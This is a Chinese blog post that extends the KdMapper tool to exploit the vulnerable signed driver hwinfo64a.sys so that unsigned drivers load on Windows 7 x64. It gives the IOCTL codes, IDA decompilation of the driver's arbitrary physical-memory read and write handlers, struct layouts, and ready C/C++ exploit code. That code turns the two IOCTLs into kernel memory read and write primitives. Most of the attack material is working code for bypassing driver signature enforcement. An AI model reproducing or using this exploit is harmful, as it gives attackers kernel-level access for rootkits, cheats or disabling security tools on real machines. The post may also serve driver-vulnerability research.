• KdMapper扩展实现之REALiX(hwinfo64a.sys)


    1.背景

      KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

    2.驱动信息

    驱动名称hwinfo64a.sys 
    时间戳54720A27
    MD5E5805896A55D4166C20F216249F40FA3
    文件版本8.98.0.0
    设备名称        \\.\HWiNFO32
    读物理内存0x85FE2608
    写物理内存0x85FE2668
    Windows 7支持
    Windows 10不支持
    Windows 11不支持

    3.IDA分析

    3.1 入口函数:

    1. NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
    2. {
    3.         NTSTATUS result; // eax
    4.         int v4; // ebx
    5.         struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h] BYREF
    6.         struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h] BYREF
    7.         PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF
    8.  
    9.         RtlInitUnicodeString(&DestinationString, L"\\Device\\HWiNFO32");
    10.         result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0, 0, &DeviceObject);
    11.         if (result >= 0)
    12.         {
    13.                 DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_113C0;
    14.                 DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_113C0;
    15.                 DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
    16.                 DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_1370C;
    17.                 RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\HWiNFO32");
    18.                 v4 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    19.                 if (v4 >= 0)
    20.                 {
    21.                         Lock = 0i64;
    22.                         UnicodeString.Length = 0;
    23.                         ListHead.Blink = &ListHead;
    24.                         ListHead.Flink = &ListHead;
    25.                         UnicodeString.Buffer = 0i64;
    26.                 }
    27.                 else
    28.                 {
    29.                         IoDeleteDevice(DeviceObject);
    30.                 }
    31.                 result = v4;
    32.         }
    33.         return result;
    34. }

    3.2 DeviceIoControl

    1. __int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp, __int64 a3, __int64 a4)
    2. {
    3.         _IO_STACK_LOCATION* pIosp; // r12
    4.         unsigned int nIoControlCode; // eax
    5.         NTSTATUS ntStatus; // ebx
    6.         HWINFO64A_READ_PHYSICAL_MEMORY_INFO* pReadPhysicalMemoryInfo; // rbx
    7.         PVOID pMappedIoSpace; // rax
    8.         HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO* pWritePhysicalMemoryInfo; // rbx
    9.         _DWORD* pMappedIoSpaceWrite; // rax
    10.         struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+108h] [rbp-90h] BYREF
    11.         struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+118h] [rbp-80h] BYREF
    12.         struct _UNICODE_STRING DestinationString; // [rsp+148h] [rbp-50h] BYREF
    13.  
    14.         pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
    15.         nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
    16.         if (nIoControlCode > 0x85FE2658)
    17.         {
    18.                 if (nIoControlCode <= 0x85FE2684)
    19.                 {
    20.                         case 0x85FE2668:
    21.                                 pWritePhysicalMemoryInfo = (HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// 写物理内存,一次一个DWORD大小
    22.                                 pMappedIoSpaceWrite = MapIoSpaceList(pWritePhysicalMemoryInfo->PhysicalAddress, 4ui64);
    23.                                 if (pMappedIoSpaceWrite)
    24.                                 {
    25.                                         *pMappedIoSpaceWrite = pWritePhysicalMemoryInfo->Data;
    26.                                         ntStatus = 0;
    27.                                         pIrp->IoStatus.Information = 16i64;
    28.                                 }
    29.                                 else
    30.                                 {
    31.                                         ntStatus = 0xC0000001;
    32.                                         pIrp->IoStatus.Information = 0i64;
    33.                                 }
    34.                                 goto LABEL_389;
    35.  
    36.                         case 0x85FE2608:
    37.                                 pReadPhysicalMemoryInfo = (HWINFO64A_READ_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// 读物理内存
    38.                                 pMappedIoSpace = MapIoSpaceList(pReadPhysicalMemoryInfo->PhysicalAddress, pReadPhysicalMemoryInfo->nSize);
    39.                                 if (pMappedIoSpace)
    40.                                 {
    41.                                         memmove(pReadPhysicalMemoryInfo->ReadBuffer, pMappedIoSpace, pReadPhysicalMemoryInfo->nSize);
    42.                                         ntStatus = 0;
    43.                                         pIrp->IoStatus.Information = 0x10010i64;
    44.                                 }
    45.                                 else
    46.                                 {
    47.                                         ntStatus = 0xC0000001;
    48.                                         pIrp->IoStatus.Information = 0i64;
    49.                                 }
    50.                                 goto LABEL_389;
    51.                 }
    52.         }
    53. LABEL_389:
    54.         pIrp->IoStatus.Status = ntStatus;
    55.         IofCompleteRequest(pIrp, 0);
    56.         return (unsigned int)ntStatus;
    57. }
    • 读物理内存 0x85FE2608

      从 HWINFO64A_READ_PHYSICAL_MEMORY_INFO 的物理地址 PhysicalAddress 复制数据到 ATILLK_PHYSICAL_MEMORY_INFO 的内容地址 ReadBuffer 。

      由第 43 行的代码   pIrp->IoStatus.Information = 0x10010i64 可以看出,读取的代码的缓冲区大小为 0x10010,在实现代码逻辑时决定定义缓冲大小为 0x10010,实际的最大读取大小为 0x10000,方便处理。

    • 写物理内存 0x85FE2668

      从 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO 的内容 Data 复制数据到 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO 的物理地址 PhysicalAddress 。

      由第 25 行可以看出每次写入物理地址的大小为一个 DWORD,对于数据量大的要分批进行写入。

    3.3 MapIoSpaceList

    1. PVOID __fastcall MapIoSpaceList(PHYSICAL_ADDRESS PhysicalAddress, SIZE_T Size)
    2. {
    3.         KIRQL oldIrql; // al
    4.         _LIST_ENTRY* pListEntry; // rbx
    5.         PVOID pMappedIoSpace; // rbx
    6.         MAP_IO_SPACE_LIST_INFO* pListInfo; // rdx
    7.  
    8.         if (!PhysicalAddress.QuadPart || !Size)
    9.                 return 0i64;
    10.         oldIrql = KeAcquireSpinLockRaiseToDpc(&Lock);
    11.         pListEntry = ListHead.Flink;
    12.         if (ListHead.Flink == &ListHead)
    13.         {
    14.         LABEL_7:
    15.                 KeReleaseSpinLock(&Lock, oldIrql);
    16.                 pMappedIoSpace = MmMapIoSpace(PhysicalAddress, Size, MmNonCached);
    17.                 if (pMappedIoSpace)
    18.                 {
    19.                         pListInfo = (MAP_IO_SPACE_LIST_INFO*)ExAllocatePoolWithTag(NonPagedPool, 0x28ui64, 0x4D4D4D4Du);
    20.                         if (pListInfo)
    21.                         {
    22.                                 pListInfo->MappedAddress = pMappedIoSpace;
    23.                                 pListInfo->Size = Size;
    24.                                 pListInfo->PhysicalAddress = PhysicalAddress;
    25.                                 ExInterlockedInsertTailList(&ListHead, &pListInfo->ListEntry, &Lock);
    26.                                 return pMappedIoSpace;
    27.                         }
    28.                 }
    29.                 return 0i64;
    30.         }
    31.         while (pListEntry[1].Flink != (_LIST_ENTRY*)PhysicalAddress.QuadPart || (_LIST_ENTRY*)Size > pListEntry[1].Blink)
    32.         {
    33.                 pListEntry = pListEntry->Flink;
    34.                 if (pListEntry == &ListHead)
    35.                         goto LABEL_7;
    36.         }
    37.         KeReleaseSpinLock(&Lock, oldIrql);
    38.         return pListEntry[2].Flink;
    39. }

            由代码可以看出该函数是调用 MmMapIoSpace 映射物理地址,然后加入一个链表,下次再映射相同地址时可以直接返回。同时该链表在驱动卸载时进行 MmUnmapIoSpace 取消映射。

      由代码第 8  行可以看出,对于映射物理地址为 0 的时候返回失败,所以在最终代码中对于 0 地址的映射要跳过,或做其它相关判断的处理。

    3.4 HWINFO64A_READ_PHYSICAL_MEMORY_INFO结构

    1. 00000000 HWINFO64A_READ_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xD, copyof_381)
    2. 00000000 PhysicalAddress PHYSICAL_ADDRESS ?
    3. 00000008 nSize           dd ?
    4. 0000000C ReadBuffer      db ?
    5. 0000000D HWINFO64A_READ_PHYSICAL_MEMORY_INFO ends

    3.5 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO结构

    1. 00000000 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xC, copyof_384)
    2. 00000000 PhysicalAddress PHYSICAL_ADDRESS ?
    3. 00000008 Data            dd ?
    4. 0000000C HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO ends

    3.6 MAP_IO_SPACE_LIST_INFO结构 

    1. 0000000 MAP_IO_SPACE_LIST_INFO struc ; (sizeof=0x28, copyof_387)
    2. 00000000 ListEntry LIST_ENTRY ?
    3. 00000010 PhysicalAddress PHYSICAL_ADDRESS ?
    4. 00000018 Size dq ?
    5. 00000020 MappedAddress dq ? ; offset
    6. 00000028 MAP_IO_SPACE_LIST_INFO ends

    3.7 使用注意事项

      实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

    4. 代码实现

    4.1 .h文件

    1. #pragma pack(push)
    2. #pragma pack(1)
    3.  
    4.         typedef struct _HWINFO64A_READ_PHYSICAL_MEMORY_INFO 
    5.         {
    6.                 PHYSICAL_ADDRESS PhysicalAddress;
    7.                 ULONG Size;
    8.                 BYTE ReadBuffer[1];
    9.         } HWINFO64A_READ_PHYSICAL_MEMORY_INFO, *PHWINFO64A_READ_PHYSICAL_MEMORY_INFO;
    10.  
    11.         typedef struct _HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO {
    12.                 PHYSICAL_ADDRESS PhysicalAddress;
    13.                 DWORD Data;
    14.         } HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO, * PHWINFO64A_WRITE_PHYSICAL_MEMORY_INFO;
    15.  
    16. #pragma pack(pop)
    17.  
    18. #ifndef RtlOffsetToPointer
    19. #define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
    20. #endif
    21.  
    22. #ifndef RtlPointerToOffset
    23. #define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
    24. #endif
    25.  
    26. #define HWINFO64A_DEVICE_TYPE          (DWORD)0x85FE
    27. #define HWINFO64A_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0x982
    28. #define HWINFO64A_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x99A
    29.  
    30. #define READ_BUFFER_SIZE        (0x10010)
    31. #define READ_SIZE_LIMIT            (0X10000)
    32.  
    33. #define IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY      \
    34.     CTL_CODE(HWINFO64A_DEVICE_TYPE, HWINFO64A_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x85FE2608
    35.  
    36. #define IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY    \
    37.     CTL_CODE(HWINFO64A_DEVICE_TYPE, HWINFO64A_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x85FE2668

    4.2 .c文件

    1. NTSTATUS realix_driver::SuperCallDriverEx(
    2.         _In_ HANDLE DeviceHandle,
    3.         _In_ ULONG IoControlCode,
    4.         _In_ PVOID InputBuffer,
    5.         _In_ ULONG InputBufferLength,
    6.         _In_opt_ PVOID OutputBuffer,
    7.         _In_opt_ ULONG OutputBufferLength,
    8.         _Out_opt_ PIO_STATUS_BLOCK IoStatus)
    9. {
    10.         IO_STATUS_BLOCK ioStatus;
    11.  
    12.         NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
    13.                 NULL,
    14.                 NULL,
    15.                 NULL,
    16.                 &ioStatus,
    17.                 IoControlCode,
    18.                 InputBuffer,
    19.                 InputBufferLength,
    20.                 OutputBuffer,
    21.                 OutputBufferLength);
    22.  
    23.         if (ntStatus == STATUS_PENDING) {
    24.  
    25.                 ntStatus = NtWaitForSingleObject(DeviceHandle,
    26.                         FALSE,
    27.                         NULL);
    28.         }
    29.  
    30.         if (IoStatus)
    31.                 *IoStatus = ioStatus;
    32.  
    33.         return ntStatus;
    34. }
    35.  
    36. BOOL realix_driver::SuperCallDriver(
    37.         _In_ HANDLE DeviceHandle,
    38.         _In_ ULONG IoControlCode,
    39.         _In_ PVOID InputBuffer,
    40.         _In_ ULONG InputBufferLength,
    41.         _In_opt_ PVOID OutputBuffer,
    42.         _In_opt_ ULONG OutputBufferLength)
    43. {
    44.         BOOL bResult;
    45.         IO_STATUS_BLOCK ioStatus;
    46.  
    47.         NTSTATUS ntStatus = SuperCallDriverEx(
    48.                 DeviceHandle,
    49.                 IoControlCode,
    50.                 InputBuffer,
    51.                 InputBufferLength,
    52.                 OutputBuffer,
    53.                 OutputBufferLength,
    54.                 &ioStatus);
    55.  
    56.         bResult = NT_SUCCESS(ntStatus);
    57.         SetLastError(RtlNtStatusToDosError(ntStatus));
    58.         return bResult;
    59. }
    60.  
    61. BOOL WINAPI realix_driver::SuperReadWritePhysicalMemory(
    62.         _In_ HANDLE DeviceHandle,
    63.         _In_ ULONG_PTR PhysicalAddress,
    64.         _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
    65.         _In_ ULONG NumberOfBytes,
    66.         _In_ BOOLEAN DoWrite)
    67. {
    68.         BOOL bResult = FALSE;
    69.         DWORD dwError = ERROR_SUCCESS;
    70.  
    71.         __try {
    72.  
    73.                 if (DoWrite) {
    74.                         //写物理内存每次只能写四个字节 
    75.  
    76.                         DWORD dwLoopCount = NumberOfBytes / sizeof(ULONG);
    77.                         DWORD dwRemainingSize = NumberOfBytes % sizeof(ULONG);
    78.                         HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO writeRequest = { 0 };
    79.                         DWORD dwIndex = 0;
    80.                         for (dwIndex = 0; dwIndex < dwLoopCount; dwIndex++)
    81.                         {
    82.                                 DWORD dwData = *((DWORD*)((PUCHAR)Buffer + dwIndex * sizeof(DWORD)));
    83.                                 writeRequest.PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
    84.                                 writeRequest.Data = dwData;
    85.                                 bResult = SuperCallDriver(DeviceHandle,
    86.                                         IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY,
    87.                                         &writeRequest,
    88.                                         sizeof(writeRequest),
    89.                                         &writeRequest,
    90.                                         sizeof(writeRequest));
    91.                                 if (!bResult)
    92.                                 {
    93.                                         Log(L"[!] Error WritePhysicalMemory 1!" << std::endl);
    94.                                         break;
    95.                                 }
    96.                         }
    97.                         if ((dwLoopCount == 0) || (bResult))
    98.                         {
    99.                                 if (dwRemainingSize != 0)
    100.                                 {
    101.                                         DWORD dwData = 0;
    102.                                         ULONG ulBufferSize = READ_BUFFER_SIZE;/*sizeof(HWINFO64A_READ_PHYSICAL_MEMORY_INFO) + sizeof(DWORD);*/
    103.                                         PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(ulBufferSize);
    104.                                         RtlZeroMemory(pReadRequest, ulBufferSize);
    105.                                         pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
    106.                                         pReadRequest->Size = sizeof(DWORD);
    107.                                         bResult = SuperCallDriver(DeviceHandle,
    108.                                                 IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
    109.                                                 pReadRequest,
    110.                                                 ulBufferSize,
    111.                                                 pReadRequest,
    112.                                                 ulBufferSize);
    113.                                         if (bResult)
    114.                                         {
    115.                                                 dwData = *((DWORD*)pReadRequest->ReadBuffer);
    116.                                                 RtlCopyMemory(&dwData, (PUCHAR)Buffer + dwIndex * sizeof(DWORD), dwRemainingSize);
    117.  
    118.                                                 writeRequest.PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
    119.                                                 writeRequest.Data = dwData;
    120.                                                 bResult = SuperCallDriver(DeviceHandle,
    121.                                                         IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY,
    122.                                                         &writeRequest,
    123.                                                         sizeof(writeRequest),
    124.                                                         &writeRequest,
    125.                                                         sizeof(writeRequest));
    126.                                                 if (!bResult)
    127.                                                 {
    128.                                                         Log(L"[!] Error WritePhysicalMemory 2!" << std::endl);
    129.                                                 }
    130.                                         }
    131.                                         else
    132.                                         {
    133.                                                 Log(L"[!] Error Read Physical Memory in WritePhysicalMemory!" << std::endl);
    134.                                         }
    135.                                         free(pReadRequest);
    136.                                         pReadRequest = NULL;
    137.  
    138.                                 }
    139.  
    140.                         }
    141.  
    142.                 }
    143.                 else {
    144.                         DWORD dwLoopCount = NumberOfBytes / READ_SIZE_LIMIT;
    145.                         DWORD dwRemainingSize = NumberOfBytes % READ_SIZE_LIMIT;
    146.  
    147.                         DWORD dwIndex = 0;
    148.                         for (dwIndex = 0; dwIndex < dwLoopCount; dwIndex++)
    149.                         {
    150.                                 PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(READ_BUFFER_SIZE);
    151.                                 RtlZeroMemory(pReadRequest, READ_BUFFER_SIZE);
    152.                                 pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * READ_SIZE_LIMIT;
    153.                                 pReadRequest->Size = READ_SIZE_LIMIT;
    154.                                 bResult = SuperCallDriver(DeviceHandle,
    155.                                         IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
    156.                                         pReadRequest,
    157.                                         READ_BUFFER_SIZE,
    158.                                         pReadRequest,
    159.                                         READ_BUFFER_SIZE);
    160.                                 if (bResult)
    161.                                 {
    162.                                         RtlCopyMemory((PUCHAR)Buffer + dwIndex * READ_SIZE_LIMIT, pReadRequest->ReadBuffer, READ_SIZE_LIMIT);
    163.                                 }
    164.                                 else
    165.                                 {
    166.                                         Log(L"[!] Error Read Physical Memory 1 in ReadPhysicalMemory!" << std::endl);
    167.                                 }
    168.                                 free(pReadRequest);
    169.                         }
    170.                         if ((dwLoopCount == 0) || (bResult))
    171.                         {
    172.                                 if (dwRemainingSize != 0)
    173.                                 {
    174.  
    175.                                         PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(READ_BUFFER_SIZE);
    176.                                         if (pReadRequest)
    177.                                         {
    178.                                                 RtlZeroMemory(pReadRequest, READ_BUFFER_SIZE);
    179.                                                 pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * READ_SIZE_LIMIT;
    180.                                                 pReadRequest->Size = dwRemainingSize;
    181.                                                 bResult = SuperCallDriver(DeviceHandle,
    182.                                                         IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
    183.                                                         pReadRequest,
    184.                                                         READ_BUFFER_SIZE,
    185.                                                         pReadRequest,
    186.                                                         READ_BUFFER_SIZE);
    187.                                                 if (bResult)
    188.                                                 {
    189.                                                         RtlCopyMemory((PUCHAR)Buffer + dwIndex * READ_SIZE_LIMIT, pReadRequest->ReadBuffer, dwRemainingSize);
    190.                                                 }
    191.                                                 else
    192.                                                 {
    193.                                                         Log(L"[!] Error Read Physical Memory 2 in ReadPhysicalMemory!" << std::endl);
    194.                                                 }
    195.                                                 free(pReadRequest);
    196.                                                 pReadRequest = NULL;
    197.                                         }
    198.                                         else
    199.                                         {
    200.                                                 Log(L"[!] SuperReadWritePhysicalMemory read physical memory malloc failed!" << std::endl);
    201.                                         }
    202.                                 }
    203.  
    204.                         }
    205.                 }
    206.         }
    207.         __except (EXCEPTION_EXECUTE_HANDLER) {
    208.                 bResult = FALSE;
    209.                 dwError = GetExceptionCode();
    210.                 Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
    211.         }
    212.  
    213.  
    214.         SetLastError(dwError);
    215.         return bResult;
    216. }
    217.  
    218. BOOL WINAPI realix_driver::SuperReadPhysicalMemory(
    219.         _In_ HANDLE DeviceHandle,
    220.         _In_ ULONG_PTR PhysicalAddress,
    221.         _In_ PVOID Buffer,
    222.         _In_ ULONG NumberOfBytes)
    223. {
    224.         return SuperReadWritePhysicalMemory(DeviceHandle,
    225.                 PhysicalAddress,
    226.                 Buffer,
    227.                 NumberOfBytes,
    228.                 FALSE);
    229. }
    230.  
    231. BOOL WINAPI realix_driver::SuperWritePhysicalMemory(
    232.         _In_ HANDLE DeviceHandle,
    233.         _In_ ULONG_PTR PhysicalAddress,
    234.         _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
    235.         _In_ ULONG NumberOfBytes)
    236. {
    237.         return SuperReadWritePhysicalMemory(DeviceHandle,
    238.                 PhysicalAddress,
    239.                 Buffer,
    240.                 NumberOfBytes,
    241.                 TRUE);
    242. }
    243.  
    244. BOOL WINAPI realix_driver::SuperWriteKernelVirtualMemory(
    245.         _In_ HANDLE DeviceHandle,
    246.         _In_ ULONG_PTR Address,
    247.         _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
    248.         _In_ ULONG NumberOfBytes)
    249. {
    250.         BOOL bResult;
    251.         ULONG_PTR physicalAddress = 0;
    252.  
    253.         SetLastError(ERROR_SUCCESS);
    254.  
    255.         bResult = SuperVirtualToPhysical(DeviceHandle,
    256.                 Address,
    257.                 &physicalAddress);
    258.  
    259.         if (bResult) {
    260.  
    261.                 bResult = SuperReadWritePhysicalMemory(DeviceHandle,
    262.                         physicalAddress,
    263.                         Buffer,
    264.                         NumberOfBytes,
    265.                         TRUE);
    266.  
    267.         }
    268.  
    269.         return bResult;
    270. }
    271.  
    272. BOOL WINAPI realix_driver::SuperReadKernelVirtualMemory(
    273.         _In_ HANDLE DeviceHandle,
    274.         _In_ ULONG_PTR Address,
    275.         _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
    276.         _In_ ULONG NumberOfBytes)
    277. {
    278.         BOOL bResult;
    279.         ULONG_PTR physicalAddress = 0;
    280.  
    281.         SetLastError(ERROR_SUCCESS);
    282.  
    283.         bResult = SuperVirtualToPhysical(DeviceHandle,
    284.                 Address,
    285.                 &physicalAddress);
    286.  
    287.         if (bResult) {
    288.  
    289.                 bResult = SuperReadWritePhysicalMemory(DeviceHandle,
    290.                         physicalAddress,
    291.                         Buffer,
    292.                         NumberOfBytes,
    293.                         FALSE);
    294.  
    295.         }
    296.  
    297.         return bResult;
    298. }

      其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

      同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》

    5. 运行效果

      Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

    6.特别提示

      使用hwinfo64a.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

  • 相关阅读:
    迅为STM32MP157开发板安装Qemu-User-Static工具
    Android 实现开机自启APP
    IDEA的使用(三)Debug(断点调试)(IntelliJ IDEA 2022.1.3版本)
    9.14--贪心算法列题
    Docker入门尝鲜
    【内网渗透】vulnhub三个基础靶场wp
    代码源每日一题div1 DP 数组划分
    ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost‘ (10061)的问题解决
    「设计模式」抽象工厂模式
    专注于linux
  • 原文地址:https://blog.csdn.net/zhuting__xf/article/details/133749074